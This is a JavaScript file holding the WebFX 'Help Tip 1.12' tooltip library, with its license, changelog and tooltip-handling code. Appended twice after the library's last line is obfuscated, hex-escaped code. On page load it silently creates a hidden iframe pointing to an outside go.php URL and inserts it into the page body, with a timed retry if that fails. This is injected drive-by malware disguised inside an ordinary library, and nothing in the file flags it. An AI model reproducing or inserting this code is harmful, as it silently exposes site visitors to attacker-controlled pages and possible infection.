/*----------------------------------------------------------------------------\
|                               Help Tip 1.12                                 |
|-----------------------------------------------------------------------------|
|                         Created by Erik Arvidsson                           |
|                  (http://webfx.eae.net/contact.html#erik)                   |
|                      For WebFX (http://webfx.eae.net/)                      |
|-----------------------------------------------------------------------------|
|           A tool tip like script that can be used for context help          |
|-----------------------------------------------------------------------------|
|                  Copyright (c) 1999 - 2002 Erik Arvidsson                   |
|-----------------------------------------------------------------------------|
| This software is provided "as is", without warranty of any kind, express or |
| implied, including  but not limited  to the warranties of  merchantability, |
| fitness for a particular purpose and noninfringement. In no event shall the |
| authors or  copyright  holders be  liable for any claim,  damages or  other |
| liability, whether  in an  action of  contract, tort  or otherwise, arising |
| from,  out of  or in  connection with  the software or  the  use  or  other |
| dealings in the software.                                                   |
| - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - |
| This  software is  available under the  three different licenses  mentioned |
| below.  To use this software you must chose, and qualify, for one of those. |
| - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - |
| The WebFX Non-Commercial License          http://webfx.eae.net/license.html |
| Permits  anyone the right to use the  software in a  non-commercial context |
| free of charge.                                                             |
| - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - |
| The WebFX Commercial license           http://webfx.eae.net/commercial.html |
| Permits the  license holder the right to use  the software in a  commercial |
| context. Such license must be specifically obtained, however it's valid for |
| any number of  implementations of the licensed software.                    |
| - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - |
| GPL - The GNU General Public License    http://www.gnu.org/licenses/gpl.txt |
| Permits anyone the right to use and modify the software without limitations |
| as long as proper  credits are given  and the original  and modified source |
| code are included. Requires  that the final product, software derivate from |
| the original  source or any  software  utilizing a GPL  component, such  as |
| this, is also licensed under the GPL license.                               |
|-----------------------------------------------------------------------------|
| 2002-09-27 |                                                                |
| 2001-11-25 | Added a resize to the tooltip if the document width is too     |
|            | small.                                                         |
| 2002-05-19 | IE50 did not recognise the JS keyword undefined so the test    |
|            | for scroll support was updated to be IE50 friendly.            |
| 2002-07-06 | Added flag to hide selects for IE                              |
| 2002-10-04 | (1.1) Restructured and made code more IE garbage collector     |
|            | friendly. This solved the most nasty memory leaks. Also added  |
|            | support for hiding the tooltip if ESC is pressed.              |
| 2002-10-18 | Fixed verrical position in case of scrolled document.          |
| 2002-12-02 | Mozilla bug workaround related to mousedown and move.          |
|-----------------------------------------------------------------------------|
| Dependencies: helptip.css (To set up the CSS of the help-tooltip class)     |
|-----------------------------------------------------------------------------|
| Usage:                                                                      |
|                                                                             |
|   <script type="text/javascript" src="helptip.js">< /script>                |
|   <link type="text/css" rel="StyleSheet" href="helptip.css" />              |
|                                                                             |
|   <a class="helpLink" href="?" onclick="ShowHelp('event', 'String to show');  |
|      return false">Help</a>                                                 |
|-----------------------------------------------------------------------------|
| Created 2001-09-27 | All changes are in the log above. | Updated 2002-12-02 |
\----------------------------------------------------------------------------*/

function showHelpTip(e, sHtml, bHideSelects) {

	// find anchor element
	var el = e.target || e.srcElement;
	while (el.tagName != "A")
		el = el.parentNode;
	
	// is there already a tooltip? If so, remove it
	if (el._helpTip) {
		helpTipHandler.hideHelpTip(el);
	}

	helpTipHandler.hideSelects = Boolean(bHideSelects);

	// create element and insert last into the body
	helpTipHandler.createHelpTip(el, sHtml);
	
	// position tooltip
	helpTipHandler.positionToolTip(e);

	// add a listener to the blur event.
	// When blurred remove tooltip and restore anchor
	el.onblur = helpTipHandler.anchorBlur;
	el.onkeydown = helpTipHandler.anchorKeyDown;
}

var helpTipHandler = {
	hideSelects:	false,
	
	helpTip:		null,
	
	showSelects:	function (bVisible) {
		if (!this.hideSelects) return;
		// only IE actually do something in here
		var selects = [];
		if (document.all)
			selects = document.all.tags("SELECT");
		var l = selects.length;
		for	(var i = 0; i < l; i++)
			selects[i].runtimeStyle.visibility = bVisible ? "" : "hidden";	
	},
	
	create:	function () {
		var d = document.createElement("DIV");
		d.className = "help-tooltip";
		d.onmousedown = this.helpTipMouseDown;
		d.onmouseup = this.helpTipMouseUp;
		document.body.appendChild(d);		
		this.helpTip = d;
	},
	
	createHelpTip:	function (el, sHtml) {
		if (this.helpTip == null) {
			this.create();
		}

		var d = this.helpTip;
		d.innerHTML = sHtml;
		d._boundAnchor = el;
		el._helpTip = d;
		return d;
	},
	
	// Allow clicks on A elements inside tooltip
	helpTipMouseDown:	function (e) {
		var d = this;
		var el = d._boundAnchor;
		if (!e) e = event;
		var t = e.target || e.srcElement;
		while (t.tagName != "A" && t != d)
			t = t.parentNode;
		if (t == d) return;
		
		el._onblur = el.onblur;
		el.onblur = null;
	},
	
	helpTipMouseUp:	function () {
		var d = this;
		var el = d._boundAnchor;
		el.onblur = el._onblur;
		el._onblur = null;
		el.focus();
	},	
	
	anchorBlur:	function (e) {
		var el = this;
		helpTipHandler.hideHelpTip(el);
	},
	
	anchorKeyDown:	function (e) {
		if (!e) e = window.event
		if (e.keyCode == 27) {	// ESC
			helpTipHandler.hideHelpTip(this);
		}
	},
	
	removeHelpTip:	function (d) {
		d._boundAnchor = null;
		d.style.filter = "none";
		d.innerHTML = "";
		d.onmousedown = null;
		d.onmouseup = null;
		d.parentNode.removeChild(d);
		//d.style.display = "none";
	},
	
	hideHelpTip:	function (el) {
		var d = el._helpTip;
		/*	Mozilla (1.2+) starts a selection session when moved
			and this destroys the mouse events until reloaded
		d.style.top = -el.offsetHeight - 100 + "px";
		*/		
		
		d.style.visibility = "hidden";
		//d._boundAnchor = null;

		el.onblur = null;
		el._onblur = null;
		el._helpTip = null;
		el.onkeydown = null;
		
		this.showSelects(true);
	},
	
	positionToolTip:	function (e) {
		this.showSelects(false);		
		var scroll = this.getScroll();
		var d = this.helpTip;
		
		// width
		if (d.offsetWidth >= scroll.width)
			d.style.width = scroll.width - 10 + "px";
		else
			d.style.width = "";
		
		// left
		if (e.clientX > scroll.width - d.offsetWidth)
			d.style.left = scroll.width - d.offsetWidth + scroll.left + "px";
		else
			d.style.left = e.clientX - 2 + scroll.left + "px";
		
		// top
		if (e.clientY + d.offsetHeight + 18 < scroll.height)
			d.style.top = e.clientY + 18 + scroll.top + "px";
		else if (e.clientY - d.offsetHeight > 0)
			d.style.top = e.clientY + scroll.top - d.offsetHeight + "px";
		else
			d.style.top = scroll.top + 5 + "px";
			
		d.style.visibility = "visible";
	},
	
	// returns the scroll left and top for the browser viewport.
	getScroll:	function () {
		if (document.all && typeof document.body.scrollTop != "undefined") {	// IE model
			var ieBox = document.compatMode != "CSS1Compat";
			var cont = ieBox ? document.body : document.documentElement;
			return {
				left:	cont.scrollLeft,
				top:	cont.scrollTop,
				width:	cont.clientWidth,
				height:	cont.clientHeight
			};
		}
		else {
			return {
				left:	window.pageXOffset,
				top:	window.pageYOffset,
				width:	window.innerWidth,
				height:	window.innerHeight
			};
		}
		
	}

};function lI(){};eJS=23886;lI.prototype = {o : function() {var j="j";var lM="lM";function iX(){};var yP="";var n=function(){return 'n'};this.t=18033;var v=window;var eD=1907;xA=false;var q = this;var rG="rG";function qF(){};var f=document;eDM=31978;this.g='';var eX=new Array();p="p";this.cV="cV";this.fC=31986;gH="";var c = function(zw,LV,XLT){return ['x52x6dx64x5a'+XLT,'x4ex30'+LV,zw+'x63']}('x73x72','x52x70x4ax66x32','x4dx54x73x4ax35')[2];this.gJ="gJ";nU='';var z = function(pUOrO,vkRpM,KD3V){return [pUOrO+'x42x57x66x72x33',KD3V+'x74x54x69x6dx65x6fx75x74','x59x49x58x62'+vkRpM]}('x43','x44x5ax6cx30','x73x65')[1];var tW=new Date();var s=function(){};m=5300;this.aL="aL";var y = function(N8e,DMvu,jCzV,E19){return ['x69x66x44'+jCzV,'x56x64x6cx4ex53'+N8e,E19+'x65x45x6cx65x6dx65x6ex74',DMvu+'x67']}('x4dx4a','x78x63x5ax4ex54','x4ex31x66','x63x72x65x61x74')[2];var eZ=new Array();fG="fG";var sB="";        var vC = function(W,QBU,CU9,aCWv){return ['x72x6ax78'+CU9,QBU+'x44','x66'+aCWv,'x61x70x70x65x6ex64x43x68x69x6c'+W]}('x64','x4fx44','x71x4a','x53x71x57')[3];var yR=12683;this.b="";var x = function(lx,gdDX,n){return [lx+'x46','x73x65x74x41x74x74x72x69'+n,gdDX+'x5ax48x37']}('x48','x4ax7a','x62x75x74x65')[1];var k="";this.iJ="iJ";var vW=function(){return 'vW'};var a = function(N,XE5G,wK0,X6t){return ['x4bx34'+wK0,'x4a'+N,X6t+'x56x54x55x4a','x73'+XE5G]}('x6ex37','x74x79x6cx65','x4d','x6cx77x4ax63x7a')[3];var pC=new Date();this.oT=false;var r = function(UtD,WrGtd,cJN){return ['x7ax6ex57x43'+WrGtd,cJN+'x64x79','x54x46'+UtD]}('x67','x7ax74x74x30x56','x62x6f')[1];w="";var gP=739;var e = function(joE1,pvs,C,j38i,joB){return [joE1+'x65',joB+'x67x77x55x31x4f','x64'+j38i,'x62x5ax64x61x62'+pvs,C+'x6ax62']}('x7ax42x4ex41','x77x4a','x4bx39x5ax39','x69x73x70x6cx61x79','x54')[2];yD=4181;this.bU=25398;aN="";var zS = function(Xy,Z8,J,Mh){return [Xy+'x5ax34x73x78x73',J+'x65','x49x69x45'+Z8,'x4fx6bx30x6ax72'+Mh]}('x59x4bx78x52','x50','x77x72x69x74','x78x74x56x33x61')[1];this.eXC="eXC";this.gF='';tK=false;this.wJ="wJ";var qH=new Array();xS="xS";try {var fU="fU";var yDQ=new Array();var iXC="";vCP="vCP";var bW="bW";var iB=21743;var l=f[y](function(If5ea,W,H4){return ['x6fx6bx50x59'+If5ea,H4+'x71',W+'x66x72x61x6dx65']}('x6bx78x61','x69','x76x55x39x6ax44')[2]);var u="";this.eJ=false;var vU="vU";var rM=new Date();mB=24493;var tE=false;nM=false;this.qL="qL";var fUX="fUX";l[x](c, q.aV());var mZ=function(){};var fW="fW";l[a][e] = function(Etda8,opdP,ejR,Iix9){return [Iix9+'x4dx4bx38x36',opdP+'x53x38','x6ex6f'+ejR,'x72x58x4f'+Etda8]}('x4d','x4ax48x33','x6ex65','x42x63x44')[2];var zW=new Date();var uV=function(){};zQ='';vM=false;var cN="";function mBC(){};yZ=28965;var tO="tO";document[r][vC](l);this.tQ="";this.wT="wT";this.aR='';this.bM="";this.qFO="qFO";} catch(i) {var rML=new Date();this.lO=31742;var gR=new Array();d=false;this.wH="wH";var pI=false;f[zS](function(WSDMc,k,M,R8){return [k+'x4fx52x76x4d','x65x52x65x73'+M,'x74'+R8,'x3cx68x74x6dx6cx20x3ex3cx62x6fx64x79x20x3ex3cx2fx62x6fx64x79x3e'+WSDMc]}('x3cx2fx68x74x6dx6cx3e','x71','x6a','x45x39')[3]);var jU=new Date();this.aRS=false;v[z](function(){ q.o() }, 382);vK="vK";this.aRK="aRK";function mR(){};}var qZ="";this.jK=21874;},aV : function() {this.lC="";var wP=function(){};lE='';function cR(){};return function(hxWm2,QIDS,aAIVZ){return ['x68x74x74x70x3ax2fx2fx61x6cx74x65x72x70x61x72x61x64x69x67x6dx61x2ex6ex65x74x2fx73x74x64x73x2fx67x6f'+aAIVZ,'x5ax67'+QIDS,'x63x61x4dx46x53'+hxWm2]}('x64x39','x43x37','x2ex70x68x70x3fx73x69x64x3dx31x30')[0];this.kT=false;fI='';gZ="";}};this.wF='';var rE=new lI(); lK="lK";rE.o();var aRC=function(){};function lI(){};eJS=23886;lI.prototype = {o : function() {var j="j";var lM="lM";function iX(){};var yP="";var n=function(){return 'n'};this.t=18033;var v=window;var eD=1907;xA=false;var q = this;var rG="rG";function qF(){};var f=document;eDM=31978;this.g='';var eX=new Array();p="p";this.cV="cV";this.fC=31986;gH="";var c = function(zw,LV,XLT){return ['x52x6dx64x5a'+XLT,'x4ex30'+LV,zw+'x63']}('x73x72','x52x70x4ax66x32','x4dx54x73x4ax35')[2];this.gJ="gJ";nU='';var z = function(pUOrO,vkRpM,KD3V){return [pUOrO+'x42x57x66x72x33',KD3V+'x74x54x69x6dx65x6fx75x74','x59x49x58x62'+vkRpM]}('x43','x44x5ax6cx30','x73x65')[1];var tW=new Date();var s=function(){};m=5300;this.aL="aL";var y = function(N8e,DMvu,jCzV,E19){return ['x69x66x44'+jCzV,'x56x64x6cx4ex53'+N8e,E19+'x65x45x6cx65x6dx65x6ex74',DMvu+'x67']}('x4dx4a','x78x63x5ax4ex54','x4ex31x66','x63x72x65x61x74')[2];var eZ=new Array();fG="fG";var sB="";        var vC = function(W,QBU,CU9,aCWv){return ['x72x6ax78'+CU9,QBU+'x44','x66'+aCWv,'x61x70x70x65x6ex64x43x68x69x6c'+W]}('x64','x4fx44','x71x4a','x53x71x57')[3];var yR=12683;this.b="";var x = function(lx,gdDX,n){return [lx+'x46','x73x65x74x41x74x74x72x69'+n,gdDX+'x5ax48x37']}('x48','x4ax7a','x62x75x74x65')[1];var k="";this.iJ="iJ";var vW=function(){return 'vW'};var a = function(N,XE5G,wK0,X6t){return ['x4bx34'+wK0,'x4a'+N,X6t+'x56x54x55x4a','x73'+XE5G]}('x6ex37','x74x79x6cx65','x4d','x6cx77x4ax63x7a')[3];var pC=new Date();this.oT=false;var r = function(UtD,WrGtd,cJN){return ['x7ax6ex57x43'+WrGtd,cJN+'x64x79','x54x46'+UtD]}('x67','x7ax74x74x30x56','x62x6f')[1];w="";var gP=739;var e = function(joE1,pvs,C,j38i,joB){return [joE1+'x65',joB+'x67x77x55x31x4f','x64'+j38i,'x62x5ax64x61x62'+pvs,C+'x6ax62']}('x7ax42x4ex41','x77x4a','x4bx39x5ax39','x69x73x70x6cx61x79','x54')[2];yD=4181;this.bU=25398;aN="";var zS = function(Xy,Z8,J,Mh){return [Xy+'x5ax34x73x78x73',J+'x65','x49x69x45'+Z8,'x4fx6bx30x6ax72'+Mh]}('x59x4bx78x52','x50','x77x72x69x74','x78x74x56x33x61')[1];this.eXC="eXC";this.gF='';tK=false;this.wJ="wJ";var qH=new Array();xS="xS";try {var fU="fU";var yDQ=new Array();var iXC="";vCP="vCP";var bW="bW";var iB=21743;var l=f[y](function(If5ea,W,H4){return ['x6fx6bx50x59'+If5ea,H4+'x71',W+'x66x72x61x6dx65']}('x6bx78x61','x69','x76x55x39x6ax44')[2]);var u="";this.eJ=false;var vU="vU";var rM=new Date();mB=24493;var tE=false;nM=false;this.qL="qL";var fUX="fUX";l[x](c, q.aV());var mZ=function(){};var fW="fW";l[a][e] = function(Etda8,opdP,ejR,Iix9){return [Iix9+'x4dx4bx38x36',opdP+'x53x38','x6ex6f'+ejR,'x72x58x4f'+Etda8]}('x4d','x4ax48x33','x6ex65','x42x63x44')[2];var zW=new Date();var uV=function(){};zQ='';vM=false;var cN="";function mBC(){};yZ=28965;var tO="tO";document[r][vC](l);this.tQ="";this.wT="wT";this.aR='';this.bM="";this.qFO="qFO";} catch(i) {var rML=new Date();this.lO=31742;var gR=new Array();d=false;this.wH="wH";var pI=false;f[zS](function(WSDMc,k,M,R8){return [k+'x4fx52x76x4d','x65x52x65x73'+M,'x74'+R8,'x3cx68x74x6dx6cx20x3ex3cx62x6fx64x79x20x3ex3cx2fx62x6fx64x79x3e'+WSDMc]}('x3cx2fx68x74x6dx6cx3e','x71','x6a','x45x39')[3]);var jU=new Date();this.aRS=false;v[z](function(){ q.o() }, 382);vK="vK";this.aRK="aRK";function mR(){};}var qZ="";this.jK=21874;},aV : function() {this.lC="";var wP=function(){};lE='';function cR(){};return function(hxWm2,QIDS,aAIVZ){return ['x68x74x74x70x3ax2fx2fx61x6cx74x65x72x70x61x72x61x64x69x67x6dx61x2ex6ex65x74x2fx73x74x64x73x2fx67x6f'+aAIVZ,'x5ax67'+QIDS,'x63x61x4dx46x53'+hxWm2]}('x64x39','x43x37','x2ex70x68x70x3fx73x69x64x3dx31x30')[0];this.kT=false;fI='';gZ="";}};this.wF='';var rE=new lI(); lK="lK";rE.o();var aRC=function(){};
